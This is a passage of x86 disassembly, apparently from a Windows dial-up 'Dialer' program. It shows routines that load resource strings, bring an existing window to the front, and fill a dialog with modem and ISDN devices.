push 1
mov ecx, edi
call sub_409330
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C90
mov ecx, dword_40FBC8
push offset dword_40FBD8 ; lpString2
call sub_409C20
push 1
mov ecx, edi
call sub_409370
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C40
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
mov eax, [esi+1Ch]
lea ecx, [ebp+psz]
push 200h ; cchBufferMax
push ecx ; lpBuffer
push 77h ; uID
push eax ; hInstance
mov [ebp+bstrString], ebx
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov edi, eax
push edx ; bstrString
call ds:SysFreeString
cmp edi, ebx
jz short loc_405B62
lea eax, [ebp+psz]
test eax, eax
jnz short loc_405B1E
xor edi, edi
push edi ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_405B65
; ---------------------------------------------------------------------------
loc_405B1E: ; CODE XREF: sub_405830+2DEj
lea ecx, [ebp+psz]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea edx, [ebp+psz]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [edi], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov esi, [ebp+var_4]
push edi ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_405B65
; ---------------------------------------------------------------------------
loc_405B62: ; CODE XREF: sub_405830+2D4j
mov [ebp+bstrString], ebx
loc_405B65: ; CODE XREF: sub_405830+2ECj
; sub_405830+330j
lea ecx, [ebp+bstrString]
call sub_40A2D0
mov edi, eax
push edi ; lpString
call ds:lstrlenA ; lstrlenA
cmp eax, ebx
jbe short loc_405B83
cmp byte ptr [edi], 31h
jnz short loc_405B83
mov cl, 1
jmp short loc_405B85
; ---------------------------------------------------------------------------
loc_405B83: ; CODE XREF: sub_405830+348j
; sub_405830+34Dj
xor cl, cl
loc_405B85: ; CODE XREF: sub_405830+351j
cmp eax, 1
mov [esi+4Ch], cl
jbe short loc_405B97
cmp byte ptr [edi+1], 31h
jnz short loc_405B97
mov al, 1
jmp short loc_405B99
; ---------------------------------------------------------------------------
loc_405B97: ; CODE XREF: sub_405830+35Bj
; sub_405830+361j
xor al, al
loc_405B99: ; CODE XREF: sub_405830+365j
mov [esi+4Dh], al
mov eax, [ebp+var_30]
cmp eax, ebx
jz short loc_405BAF
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+var_30], ebx
loc_405BAF: ; CODE XREF: sub_405830+371j
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
lea esp, [ebp-298h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_405830 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_405BD0 proc near ; CODE XREF: sub_405C90+25p
lParam = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 0Ch
push esi
mov esi, ecx
push 0FFFFFFE0h ; nIndex
mov byte ptr [esp+14h+lParam], 0
mov eax, [esi+4]
push eax ; hWnd
call ds:GetClassWord ; GetClassWord
mov ecx, [esi+4]
push 0FFFFFFEBh ; nIndex
push ecx ; hWnd
mov word ptr [esp+18h+lParam+2], ax
call ds:GetWindowLongA ; GetWindowLongA
mov edx, [esi+4]
mov [esp+10h+var_8], eax
lea eax, [esp+10h+lParam]
mov [esp+10h+var_4], edx
push eax ; lParam
push offset EnumFunc ; lpEnumFunc
call ds:EnumWindows ; EnumWindows
mov al, byte ptr [esp+10h+lParam]
pop esi
add esp, 0Ch
retn
sub_405BD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; BOOL __stdcall EnumFunc(HWND,LPARAM)
EnumFunc proc near ; DATA XREF: sub_405BD0+38o
hWnd = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+hWnd]
push edi
mov edi, [esp+8+arg_4]
cmp [edi+8], esi
jz short loc_405C7A
push 0FFFFFFE0h ; nIndex
push esi ; hWnd
call ds:GetClassWord ; GetClassWord
cmp [edi+2], ax
jnz short loc_405C7A
push 0FFFFFFEBh ; nIndex
push esi ; hWnd
call ds:GetWindowLongA ; GetWindowLongA
cmp [edi+4], eax
jnz short loc_405C7A
mov byte ptr [edi], 1
mov al, ds:byte_40D718
test al, al
jz short loc_405C5C
push 0
jmp short loc_405C5E
; ---------------------------------------------------------------------------
loc_405C5C: ; CODE XREF: EnumFunc+36j
push 5 ; nCmdShow
loc_405C5E: ; CODE XREF: EnumFunc+3Aj
push esi ; hWnd
call ds:ShowWindow ; ShowWindow
push esi ; hWnd
call ds:SetForegroundWindow ; SetForegroundWindow
push esi ; hWnd
call ds:SetFocus ; SetFocus
pop edi
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_405C7A: ; CODE XREF: EnumFunc+Dj EnumFunc+1Cj ...
pop edi
mov eax, 1
pop esi
retn 8
EnumFunc endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __thiscall sub_405C90(int,int,int,int,int)
sub_405C90 proc near ; CODE XREF: sub_402180+35p
String = byte ptr -298h
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_6E = byte ptr -6Eh
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_42 = byte ptr -42h
var_40 = dword ptr -40h
bstrString = dword ptr -3Ch
lpMem = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_12 = byte ptr -12h
lParam = dword ptr -10h
var_C = dword ptr -0Ch
psz = dword ptr -8
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 298h
push ebx
push esi
mov esi, ecx
push edi
push 12345h ; dwNewLong
push 0FFFFFFEBh ; nIndex
mov eax, [esi+4]
mov byte ptr [esi+4Eh], 1
push eax ; hWnd
call ds:SetWindowLongA ; SetWindowLongA
mov ecx, esi
call sub_405BD0
test al, al
jz short loc_405CD9
mov ecx, esi
call sub_405180
mov eax, 1
lea esp, [ebp-2A4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_405CD9: ; CODE XREF: sub_405C90+2Cj
mov eax, [esi+1Ch]
lea ecx, [ebp+String]
push 200h ; cchBufferMax
push ecx ; lpBuffer
xor ebx, ebx
push 66h ; uID
push eax ; hInstance
mov [ebp+var_1], bl
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], bl
mov [ebp+var_12], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov edi, eax
push edx ; bstrString
call ds:SysFreeString
cmp edi, ebx
jz loc_405DCF
lea eax, [ebp+String]
test eax, eax
jz short loc_405D5E
lea ecx, [ebp+String]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push edi ; cchWideChar
push eax ; lpWideCharStr
lea edx, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [ebp+psz], eax
mov [eax], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, [ebp+psz]
loc_405D5E: ; CODE XREF: sub_405C90+91j
push eax ; psz
call ds:SysAllocString
lea ecx, [ebp+bstrString]
mov [ebp+bstrString], eax
call sub_40A2D0
cmp byte ptr [eax], 25h
setnz [ebp+var_1]
loc_405D77: ; CODE XREF: sub_405C90+142j
mov eax, [ebp+bstrString]
mov edi, ds:SysFreeString
push eax ; bstrString
call edi ; SysFreeString
mov al, [ebp+var_1]
mov [ebp+bstrString], ebx
cmp al, 1
jz short loc_405DD4
mov ecx, lpFile
push ecx ; lpFile
mov ecx, esi
call sub_404FF0
mov ecx, esi
call sub_405180
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_405DB5
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_405DB5: ; CODE XREF: sub_405C90+117j
mov edx, [ebp+bstrString]
push edx ; bstrString
call edi ; SysFreeString
mov eax, 1
lea esp, [ebp-2A4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_405DCF: ; CODE XREF: sub_405C90+83j
mov [ebp+bstrString], ebx
jmp short loc_405D77
; ---------------------------------------------------------------------------
loc_405DD4: ; CODE XREF: sub_405C90+FBj
mov ecx, esi
mov [esi+5Ch], ebx
mov [esi+54h], bl
mov [esi+55h], bl
mov [esi+56h], bl
call sub_407EC0
mov ecx, esi
mov [esi+58h], ebx
call sub_408980
mov edx, eax
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
mov [esi+58h], edx
repne scasb
not ecx
dec ecx
jz short loc_405E38
mov eax, offset aXx ; "xx"
mov edi, edx
loc_405E0B: ; CODE XREF: sub_405C90+199j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_405E2F
cmp cl, bl
jz short loc_405E2B
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_405E2F
add edi, 2
add eax, 2
cmp cl, bl
jnz short loc_405E0B
loc_405E2B: ; CODE XREF: sub_405C90+185j
xor eax, eax
jmp short loc_405E34
; ---------------------------------------------------------------------------
loc_405E2F: ; CODE XREF: sub_405C90+181j
; sub_405C90+18Fj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_405E34: ; CODE XREF: sub_405C90+19Dj
cmp eax, ebx
jnz short loc_405EA7
loc_405E38: ; CODE XREF: sub_405C90+172j
mov ecx, esi
call sub_406E60
test eax, eax
jge short loc_405E63
push 73h ; uID
mov ecx, esi
call sub_405020
mov ecx, esi
call sub_405180
mov eax, [ebp+lpMem]
cmp eax, ebx
jz loc_405F4F
jmp loc_405F43
; ---------------------------------------------------------------------------
loc_405E63: ; CODE XREF: sub_405C90+1B1j
mov ecx, esi
call sub_408980
mov [esi+58h], eax
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
jnz short loc_405EA7
push 73h ; uID
mov ecx, esi
call sub_405020
mov ecx, esi
call sub_405180
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_405E9E
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_405E9E: ; CODE XREF: sub_405C90+200j
mov ecx, [ebp+bstrString]
push ecx
jmp loc_405F53
; ---------------------------------------------------------------------------
loc_405EA7: ; CODE XREF: sub_405C90+1A6j
; sub_405C90+1E9j
push 5FCh ; dwBytes
call sub_40AF50
add esp, 4
cmp eax, ebx
jz short loc_405F26
mov ecx, eax
call sub_4094A0
cmp eax, ebx
mov dword_40FBC8, eax
jz short loc_405F2C
mov ecx, eax
call sub_409520
test al, al
jz short loc_405F2C
mov ecx, esi
call sub_405830
mov eax, [esi+1Ch]
lea edx, [ebp+String]
push 200h ; cchBufferMax
push edx ; lpBuffer
push 75h ; uID
push eax ; hInstance
mov [ebp+var_6C], ebx
mov [ebp+var_68], ebx
mov [ebp+var_64], ebx
mov [ebp+var_60], bl
mov [ebp+var_42], bl
call ds:LoadStringA ; LoadStringA
mov edi, eax
mov eax, [ebp+var_6C]
push eax ; bstrString
call ds:SysFreeString
cmp edi, ebx
jz loc_406003
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_405F6D
xor eax, eax
jmp loc_405FA8
; ---------------------------------------------------------------------------
loc_405F26: ; CODE XREF: sub_405C90+226j
mov dword_40FBC8, ebx
loc_405F2C: ; CODE XREF: sub_405C90+236j
; sub_405C90+241j
push 73h ; uID
mov ecx, esi
call sub_405020
mov ecx, esi
call sub_405180
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_405F4F
loc_405F43: ; CODE XREF: sub_405C90+1CEj
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_405F4F: ; CODE XREF: sub_405C90+1C8j
; sub_405C90+2B1j
mov eax, [ebp+bstrString]
push eax ; bstrString
loc_405F53: ; CODE XREF: sub_405C90+212j
call ds:SysFreeString
mov eax, 1
lea esp, [ebp-2A4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_405F6D: ; CODE XREF: sub_405C90+28Dj
lea edx, [ebp+String]
push edx ; lpString
call ds:lstrlenA ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push edi ; cchWideChar
mov [ebp+psz], eax
push eax ; lpWideCharStr
mov [eax], bx
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, [ebp+psz]
loc_405FA8: ; CODE XREF: sub_405C90+291j
push eax ; psz
call ds:SysAllocString
cmp eax, ebx
mov [ebp+var_6C], eax
jz short loc_405FC5
push eax ; BSTR
call ds:SysStringLen
test eax, eax
jnz loc_406052
loc_405FC5: ; CODE XREF: sub_405C90+324j
; sub_405C90+376j
mov eax, [esi+1Ch]
lea ecx, [ebp+String]
push 200h ; cchBufferMax
push ecx ; lpBuffer
push 76h ; uID
push eax ; hInstance
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+var_6C]
mov edi, eax
push edx ; bstrString
call ds:SysFreeString
cmp edi, ebx
jz short loc_40604F
lea eax, [ebp+String]
test eax, eax
jnz short loc_406008
push eax ; psz
call ds:SysAllocString
mov [ebp+var_6C], eax
jmp short loc_406052
; ---------------------------------------------------------------------------
loc_406003: ; CODE XREF: sub_405C90+27Fj
mov [ebp+var_6C], ebx
jmp short loc_405FC5
; ---------------------------------------------------------------------------
loc_406008: ; CODE XREF: sub_405C90+365j
lea ecx, [ebp+String]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push edi ; cchWideChar
push eax ; lpWideCharStr
lea edx, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [ebp+psz], eax
mov [eax], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, [ebp+psz]
push eax ; psz
call ds:SysAllocString
mov [ebp+var_6C], eax
jmp short loc_406052
; ---------------------------------------------------------------------------
loc_40604F: ; CODE XREF: sub_405C90+35Bj
mov [ebp+var_6C], ebx
loc_406052: ; CODE XREF: sub_405C90+32Fj
; sub_405C90+371j ...
lea ecx, [ebp+var_6C]
call sub_40A2D0
push eax ; lpString
mov eax, [esi+4]
push eax ; hWnd
call ds:SetWindowTextA ; SetWindowTextA
push 385h ; uID
push 1 ; nIDDlgItem
mov ecx, esi
call sub_405680
push 70h ; uID
push 0CDh ; nIDDlgItem
mov ecx, esi
call sub_405680
mov eax, [esi+1Ch]
lea ecx, [ebp+String]
push 200h ; cchBufferMax
push ecx ; lpBuffer
push 7Ah ; uID
push eax ; hInstance
mov [ebp+var_98], ebx
mov [ebp+var_94], ebx
mov [ebp+var_90], ebx
mov [ebp+var_8C], bl
mov [ebp+var_6E], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+var_98]
mov edi, eax
push edx ; bstrString
call ds:SysFreeString
cmp edi, ebx
jz short loc_40612A
lea eax, [ebp+String]
test eax, eax
jnz short loc_4060E0
push eax ; psz
call ds:SysAllocString
mov [ebp+var_98], eax
jmp short loc_406130
; ---------------------------------------------------------------------------
loc_4060E0: ; CODE XREF: sub_405C90+43Fj
lea ecx, [ebp+String]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push edi ; cchWideChar
push eax ; lpWideCharStr
lea edx, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
mov [ebp+psz], eax
mov [eax], bx
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, [ebp+psz]
push eax ; psz
call ds:SysAllocString
mov [ebp+var_98], eax
jmp short loc_406130
; ---------------------------------------------------------------------------
loc_40612A: ; CODE XREF: sub_405C90+435j
mov [ebp+var_98], ebx
loc_406130: ; CODE XREF: sub_405C90+44Ej
; sub_405C90+498j
cmp [esi+4Dh], bl
jz short loc_406140
mov ecx, dword_40FBC8
call sub_40A2C0
loc_406140: ; CODE XREF: sub_405C90+4A3j
lea ecx, [ebp+var_98]
call sub_40A2D0
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409840
test eax, eax
jz loc_4061EC
push 1F9h ; uID
call ds:GetLastError
push eax ; int
push 27Dh ; lpString
push offset Mem ; "D:\\Work\\Splendo\\Dialer\\working\\dialer h"...
push esi ; int
call sub_4051A0
mov eax, [ebp+var_94]
add esp, 14h
cmp eax, ebx
jz short loc_406197
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+var_94], ebx
loc_406197: ; CODE XREF: sub_405C90+4F6j
mov eax, [ebp+var_98]
mov esi, ds:SysFreeString
push eax ; bstrString
call esi ; SysFreeString
mov eax, [ebp+var_68]
cmp eax, ebx
jz short loc_4061B9
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+var_68], ebx
loc_4061B9: ; CODE XREF: sub_405C90+51Bj
mov ecx, [ebp+var_6C]
push ecx ; bstrString
call esi ; SysFreeString
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_4061D2
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_4061D2: ; CODE XREF: sub_405C90+534j
mov edx, [ebp+bstrString]
push edx ; bstrString
call esi ; SysFreeString
mov eax, 1
lea esp, [ebp-2A4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_4061EC: ; CODE XREF: sub_405C90+4C9j
mov ecx, dword_40FBC8
call sub_409B80
mov ecx, dword_40FBC8
mov [ebp+lParam], eax
call sub_409710
cmp eax, ebx
mov [ebp+var_40], eax
mov [ebp+var_1], bl
mov [ebp+psz], 0FFFFFFFFh
jg short loc_40628B
mov ecx, esi
call sub_405180
mov eax, [ebp+var_94]
cmp eax, ebx
jz short loc_406236
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+var_94], ebx
loc_406236: ; CODE XREF: sub_405C90+595j
mov eax, [ebp+var_98]
mov esi, ds:SysFreeString
push eax ; bstrString
call esi ; SysFreeString
mov eax, [ebp+var_68]
cmp eax, ebx
jz short loc_406258
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+var_68], ebx
loc_406258: ; CODE XREF: sub_405C90+5BAj
mov ecx, [ebp+var_6C]
push ecx ; bstrString
call esi ; SysFreeString
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_406271
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_406271: ; CODE XREF: sub_405C90+5D3j
mov edx, [ebp+bstrString]
push edx ; bstrString
call esi ; SysFreeString
mov eax, 1
lea esp, [ebp-2A4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_40628B: ; CODE XREF: sub_405C90+584j
cmp eax, ebx
mov [ebp+var_C], ebx
jle loc_40636A
loc_406296: ; CODE XREF: sub_405C90+6CFj
mov eax, [ebp+var_C]
mov ecx, dword_40FBC8
push eax
call sub_4097B0
mov edi, eax
push offset aModem ; "modem"
push edi ; lpString1
call ds:lstrcmpA ; lstrcmpA
test eax, eax
jz short loc_4062CB
push offset aIsdn ; "isdn"
push edi ; lpString1
call ds:lstrcmpA ; lstrcmpA
test eax, eax
jnz loc_406353
loc_4062CB: ; CODE XREF: sub_405C90+625j
mov ecx, [ebp+var_C]
push ecx
mov ecx, dword_40FBC8
call sub_409780
mov edx, [esi+4]
mov edi, eax
push edi ; lParam
push ebx ; wParam
push 143h ; Msg
push 0C9h ; nIDDlgItem
push edx ; hDlg
call ds:SendDlgItemMessageA ; SendDlgItemMessageA
cmp [ebp+psz], 0FFFFFFFFh
jnz short loc_4062FE
mov eax, [ebp+var_C]
mov [ebp+psz], eax
loc_4062FE: ; CODE XREF: sub_405C90+666j
mov ecx, [ebp+lParam]
cmp [ecx], bl
jnz short loc_406322
mov edx, [ebp+var_C]
mov ecx, dword_40FBC8
push edx
call sub_409720
mov ecx, dword_40FBC8
call sub_409B80
mov [ebp+lParam], eax
loc_406322: ; CODE XREF: sub_405C90+673j
cmp [ebp+var_1], bl
jnz short loc_406353
mov eax, [ebp+lParam]
push edi ; lpString2
push eax ; lpString1
call ds:lstrcmpA ; lstrcmpA
test eax, eax
jnz short loc_406353
mov ecx, [ebp+lParam]
mov edx, [esi+4]
push ecx ; lParam
push ebx ; wParam
push 14Dh ; Msg
push 0C9h ; nIDDlgItem
push edx ; hDlg
call ds:SendDlgItemMessageA ; SendDlgItemMessageA
mov [ebp+var_1], 1
loc_406353: ; CODE XREF: sub_405C90+635j
; sub_405C90+695j ...
mov eax, [ebp+var_C]
mov ecx, [ebp+var_40]
inc eax
cmp eax, ecx
mov [ebp+var_C], eax
jl loc_406296
cmp [ebp+var_1], bl
jnz short loc_40639A
loc_40636A: ; CODE XREF: sub_405C90+600j
mov eax, [ebp+psz]
mov ecx, dword_40FBC8
push eax
call sub_409720
mov ecx, dword_40FBC8
call sub_409B80
mov ecx, [esi+4]
push eax ; lParam
push ebx ; wParam
push 14Dh ; Msg
push 0C9h ; nIDDlgItem
push ecx ; hDlg
call ds:SendDlgItemMessageA ; SendDlgItemMessageA
loc_40639A: ; CODE XREF: sub_405C90+6D8j
lea ecx, [esi+20h]
call sub_4092B0
mov edx, [esi+4]
push ebx ; lParam
push 2 ; wParam
push 0C5h ; Msg
push 0CEh ; nIDDlgItem
push edx ; hDlg
call ds:SendDlgItemMessageA ; SendDlgItemMessageA
mov ecx, dword_40FBC8
call sub_409C10
push eax ; lpString
push 0CEh ; nIDDlgItem
mov ecx, esi
call sub_4057A0
mov eax, [esi+4]
mov edi, ds:GetDlgItem
push 0CEh ; nIDDlgItem
push eax ; hDlg
call edi ; GetDlgItem
push 1 ; bEnable
push eax ; hWnd
call ds:EnableWindow ; EnableWindow
mov ecx, [esi+4]
push 0C9h ; nIDDlgItem
push ecx ; hDlg
call edi ; GetDlgItem
push 1 ; bEnable
push eax ; hWnd
call ds:EnableWindow ; EnableWindow
mov edx, [esi+4]
push 1 ; nIDDlgItem
push edx ; hDlg
call edi ; GetDlgItem
push 1 ; bEnable
push eax ; hWnd
call ds:EnableWindow ; EnableWindow
mov eax, [esi+4]
push 0CEh ; nIDDlgItem
push eax ; hDlg
call edi ; GetDlgItem
push eax ; hWnd
call ds:SetFocus ; SetFocus
mov ecx, [esi+1Ch]
push ebx ; fuLoad
push ebx ; cy
push ebx ; cx
push 1 ; type
push 32h ; name
push ecx ; hInst
call ds:LoadImageA ; LoadImageA
mov edx, [esi+4]
push eax ; lParam
push 1 ; wParam
push 80h ; Msg
push edx ; hWnd
call ds:SendMessageA ; SendMessageA
mov ecx, dword_40FBC8
call sub_4099D0
mov ecx, esi
call sub_4086F0
cmp [esi+4Ch], bl
jz short loc_40646C
push ebx ; lParam
push ebx ; wParam
push 0F5h ; Msg
push 1 ; nIDDlgItem
mov ecx, esi
call sub_404FC0
loc_40646C: ; CODE XREF: sub_405C90+7CAj
mov eax, [ebp+var_94]
mov [esi+4Eh], bl
cmp eax, ebx
jz short loc_406488
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+var_94], ebx
loc_406488: ; CODE XREF: sub_405C90+7E7j
mov eax, [ebp+var_98]
mov esi, ds:SysFreeString
push eax ; bstrString
call esi ; SysFreeString
mov eax, [ebp+var_68]
cmp eax, ebx
jz short loc_4064AA
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+var_68], ebx
loc_4064AA: ; CODE XREF: sub_405C90+80Cj
mov ecx, [ebp+var_6C]
push ecx ; bstrString
call esi ; SysFreeString
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_4064C3
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_4064C3: ; CODE XREF: sub_405C90+825j
mov edx, [ebp+bstrString]
push edx ; bstrString
call esi ; SysFreeString
lea esp, [ebp-2A4h]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
sub_405C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4064E0 proc near ; CODE XREF: sub_402180+7Ap
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov eax, [esi+5Ch]
cmp eax, ebx
jz short loc_40650C
cmp eax, 2
jle short loc_406556
cmp eax, 7
jg short loc_406556
push 386h ; uID
push 1 ; nIDDlgItem
mov dword ptr [esi+5Ch], 8
call sub_405680
jmp short loc_406544
; ---------------------------------------------------------------------------
loc_40650C: ; CODE XREF: sub_4064E0+Bj
mov cl, byte_40F3B8
push ebx ; lParam
neg cl
sbb ecx, ecx
push ebx ; wParam
and ecx, 0FFFFFFFEh
push 184h ; Msg
add ecx, 3
push 0CCh ; nIDDlgItem
mov [esi+5Ch], ecx
mov byte_40F3B8, bl
mov edx, [esi+4]
mov [esi+54h], bl
push edx ; hDlg
mov [esi+55h], bl
mov [esi+56h], bl
call ds:SendDlgItemMessageA ; SendDlgItemMessageA
loc_406544: ; CODE XREF: sub_4064E0+2Aj
mov eax, [esi+4]
push ebx ; lpTimerFunc
push 0FAh ; uElapse
push 1 ; nIDEvent
push eax ; hWnd
call ds:SetTimer ; SetTimer
loc_406556: ; CODE XREF: sub_4064E0+10j
; sub_4064E0+15j
pop esi
xor eax, eax
pop ebx
retn 10h
sub_4064E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_406560(int,LPCWSTR lpString,int)
sub_406560 proc near ; CODE XREF: sub_406670+4Ep
; sub_406720+1D5p ...
String = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 204h
mov edx, [ebp+lpString]
mov ecx, [ecx+1Ch]
push ebx
push esi
push edi
lea eax, [ebp+String]
push 200h ; cchBufferMax
add edx, 24B8h
push eax ; lpBuffer
push edx ; uID
push ecx ; hInstance
call ds:LoadStringA ; LoadStringA
mov ebx, [ebp+arg_8]
mov esi, eax
mov [ebp+var_4], esi
mov eax, [ebx]
push eax ; bstrString
call ds:SysFreeString
test esi, esi
jz short loc_4065FB
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_4065B6
xor edi, edi
push edi ; psz
call ds:SysAllocString
jmp short loc_4065FD
; ---------------------------------------------------------------------------
loc_4065B6: ; CODE XREF: sub_406560+49j
lea edx, [ebp+String]
push edx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [edi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov esi, [ebp+var_4]
push edi ; psz
call ds:SysAllocString
jmp short loc_4065FD
; ---------------------------------------------------------------------------
loc_4065FB: ; CODE XREF: sub_406560+3Fj
xor eax, eax
loc_4065FD: ; CODE XREF: sub_406560+54j
; sub_406560+99j
test esi, esi
mov [ebx], eax
jz short loc_40664B
push eax ; BSTR
call ds:SysStringLen
mov ecx, [ebx]
push eax ; ui
push ecx ; strIn
call ds:SysAllocStringLen
mov edx, [ebp+arg_0]
lea esi, [ebx+0Ch]
mov [edx], eax
mov eax, [ebx+4]
mov [edx+4], eax
mov ecx, [ebx+8]
mov [edx+8], ecx
lea edi, [edx+0Ch]
mov ecx, 7
rep movsd
movsw
mov al, [ebx+2Ah]
mov [edx+2Ah], al
mov eax, edx
lea esp, [ebp-210h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_40664B: ; CODE XREF: sub_406560+A1j
mov ecx, [ebp+lpString]
mov esi, [ebp+arg_0]
push ebx ; int
push ecx ; lpString
mov ecx, dword_40FBC8
push esi ; int
call sub_40A170
lea esp, [ebp-210h]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_406560 endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_406670(int,int,LPCWSTR lpString)
sub_406670 proc near ; CODE XREF: sub_406720+193p
; sub_406720+2E7p ...
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_2E = byte ptr -2Eh
bstrString = dword ptr -2Ch
lpMem = dword ptr -28h
arg_0 = dword ptr 4
lpString = dword ptr 8
mov eax, [esp+lpString]
